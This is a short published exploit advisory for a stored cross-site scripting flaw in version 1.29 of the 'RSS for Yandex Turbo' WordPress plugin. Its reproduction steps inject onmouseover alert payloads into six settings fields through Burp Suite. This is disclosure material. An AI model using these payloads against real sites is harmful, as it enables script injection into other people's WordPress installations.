WordPress Plugin RSS for Yandex Turbo 1.29 - Stored Cross-Site Scripting (XSS)

# Exploit Title: WordPress Plugin RSS for Yandex Turbo 1.29 - Stored Cross-Site Scripting (XSS)
# Date: 17/04/2021
# Exploit Author: Himamshu Dilip Kulkarni
# Software Link: https://wordpress.org/plugins/rss-for-yandex-turbo/
# Version: 1.29
# Tested on: Windows

#Steps to reproduce vulnerability:

1. Install WordPress 5.6
2. Install and activate "RSS for Yandex Turbo" plugin.
3. Navigate to Setting >> Яндекс.Турбо >> Счетчики and enter the data into all the six user input field and submit the request.
4. Capture the request into burp suite and append the following mentioned JavaScript payloads (one payload per parameter)
"+onmouseover="alert(1)
"+onmouseover="alert(2)
"+onmouseover="alert(3)
"+onmouseover="alert(4)
"+onmouseover="alert(5)
"+onmouseover="alert(6)
5. You will observe that the payloads got successfully stored into the database and when you move the mouse cursor over these fields the JavaScript payloads get executed successfully and we get a pop-up.